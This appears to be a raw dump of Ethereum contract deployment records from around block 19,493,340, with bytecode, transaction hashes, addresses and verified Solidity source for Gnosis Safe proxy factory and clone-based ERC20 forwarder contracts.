60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,338
109ec48c89fb5c67aecc810b9d4f50abf34d57708a5fad6e50972a424c7ac054
cfc7a7ac14943a56b480ba65598882021416aa40784f91f192698639a4cce1b9
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
5cc538e855a5071a26ad861b44dba457611879a8
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,340
cb13c3638e976e68531b677b6358ee9e384825d6a24873406acea5ff495df5ed
20dd27c2e09b8fe85d623fbb4ba06fddb3a2a7fbace70722c9dbe34b95f64e82
f47443b898ac15508836c307a90b70893fd69a49
a6b71e26c5e0845f74c812102ca7114b6a896ab2
64b545b46e5479008a8222f14f52238116e4d589
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,340
cb13c3638e976e68531b677b6358ee9e384825d6a24873406acea5ff495df5ed
37bcf33c665f6d477976138335d20f8e0d1bda111421c858cf87983efdd8e8e0
c77820eef59629fc8d88154977bc8de8a1b2f4ae
c1dcb196ba862b337aa23eda1cb9503c0801b955
6dc48751802d2df54c233970e6f4725cee6db91c
608060405234801561001057600080fd5b5060405161028f38038061028f83398101604081905261002f91610191565b6000336001600160a01b031663112e335c6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561006c57600080fd5b505af1158015610080573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a49190610250565b6001600160a01b0316836040516100bb9190610272565b600060405180830381855af49150503d80600081146100f6576040519150601f19603f3d011682016040523d82523d6000602084013e6100fb565b606091505b5050905080610111576040513d806000833e8082fd5b6001600160a01b038216610123573391505b816001600160a01b0316ff5b634e487b7160e01b600052604160045260246000fd5b60005b83811015610160578181015183820152602001610148565b8381111561016f576000848401525b50505050565b80516001600160a01b038116811461018c57600080fd5b919050565b600080604083850312156101a457600080fd5b82516001600160401b03808211156101bb57600080fd5b818501915085601f8301126101cf57600080fd5b8151818111156101e1576101e161012f565b604051601f8201601f19908116603f011681019083821181831017156102095761020961012f565b8160405282815288602084870101111561022257600080fd5b610233836020830160208801610145565b809650505050505061024760208401610175565b90509250929050565b60006020828403121561026257600080fd5b61026b82610175565b9392505050565b60008251610284818460208701610145565b919091019291505056fe00000000000000000000000000000000000000000000000000000000000000400000000000000000000000004f671f34d2d23fec3ee3087e3a0221f8d314d9df0000000000000000000000000000000000000000000000000000000000000104a97a8d160000000000000000000000004f671f34d2d23fec3ee3087e3a0221f8d314d9df000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000076f736d6f73697300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002b6f736d6f3174716374783938717a32616132356a356b6e7a757a74786165726c337a306c6438713663373200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
1
19,493,341
a120fd327012ee60b818a4ca3a4efbdf43842f54286fb4fae32d5e23ceb15228
31a9851d57ebdfbb4056abd870505b76fbb5efd3e852b308b124f0220db2b060
00bdb5699745f5b860228c8f939abf1b9ae374ed
ffa397285ce46fb78c588a9e993286aac68c37cd
3400b9f48675fc13c5cd59d8452e7580e66f414a
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,342
4a50f791d8f98102cfbde2f6a224bb26ade46f0ff1d851b7eaadf4e5267637c3
32d8720b0c42f35560e36737eacb1402c9255e6c5467d770df41b28b9a0ec340
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
fb21a64b53fc0120745ab6d80b9fbdf8cf85cced
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,344
a153b5645fc9907b3a0dd456f16d3c865c78901465107e66f5e60125fe12285c
5233e0906ab4328d8af6349c80669cf38351ecd0348628bec805e490f60472b7
a9a0b8a5e1adca0caccc63a168f053cd3be30808
01cd62ed13d0b666e2a10d13879a763dfd1dab99
ada90739b2a324962917a5dddff6f6d5310ab63f
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
1
19,493,344
a153b5645fc9907b3a0dd456f16d3c865c78901465107e66f5e60125fe12285c
8579938c8fb1cb18710a9b3ad7175ecca340cc479b0bd71009e3b6b36bcf3a2c
98f62d5e3cc0cab1ebc5fa6acac9b66a430788f2
306d948f23b2a8472e4953db2d2dc72c8b6df0eb
8b6ba799a1b2879dde3fda201d3e7cf5e57598b5
3d602d80600a3d3981f3363d3d373d3d3d363d737f4dc78748cf4a3382d5986d3ae31b6c6b2e75175af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d737f4dc78748cf4a3382d5986d3ae31b6c6b2e75175af43d82803e903d91602b57fd5bf3
1
19,493,344
a153b5645fc9907b3a0dd456f16d3c865c78901465107e66f5e60125fe12285c
8579938c8fb1cb18710a9b3ad7175ecca340cc479b0bd71009e3b6b36bcf3a2c
98f62d5e3cc0cab1ebc5fa6acac9b66a430788f2
306d948f23b2a8472e4953db2d2dc72c8b6df0eb
b4fe7a985ac8a0c2ef7f226b8ef5d3a62e5f8305
3d602d80600a3d3981f3363d3d373d3d3d363d737f4dc78748cf4a3382d5986d3ae31b6c6b2e75175af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d737f4dc78748cf4a3382d5986d3ae31b6c6b2e75175af43d82803e903d91602b57fd5bf3